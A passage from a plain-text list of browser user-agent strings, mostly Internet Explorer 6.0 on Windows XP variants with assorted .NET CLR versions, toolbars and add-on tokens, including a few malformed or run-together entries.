Windows NT 5.1; SV1; (compatible; MSIE 6.0; Windows NT 5.1; SV1))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.2914)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.40607; InfoPath.1; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Media Center PC 4.0; FDM; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 2.8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Avalon 6.0.5070; .NET CLR 2.0.50215; WinFX RunTime 3.0.50215; Media Center PC 4.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; HbTools 4.8.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; Media Center PC 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; Media Center PC 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; PeoplePal 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; SpamBlockerUtility 4.8.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; yplus 5.1.04b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50215; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 2.8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 2.8; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 2.8; .NET CLR 1.1.4322; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 2.8; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 3.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 3.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Sleipnir/2.30\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 3.1; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 4.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; PeoplePal 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; PeoplePal 3.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Tablet PC 1.7)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Tablet PC 1.7; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Tablet PC 1.7; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Tablet PC 1.7; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.1432)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Sleipnir/2.21\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Sleipnir/2.48\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.40903)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; .NET CLR 1.0.2914)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; Avalon 6.0.4030; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; Avalon 6.0.5070; WinFX RunTime 3.0.50215; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.48\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.6.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.8.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Paros/3.2.13\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.6\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET4.0C; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; SiteKiosk)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET4.0C; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;ENUS)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; ;ja)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar; yplus 5.3.03b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Crazy Browser 2.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Crazy Browser 3.0.0 Beta2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; MS-RTC LM 8)Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; Sleipnir/2.9.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET 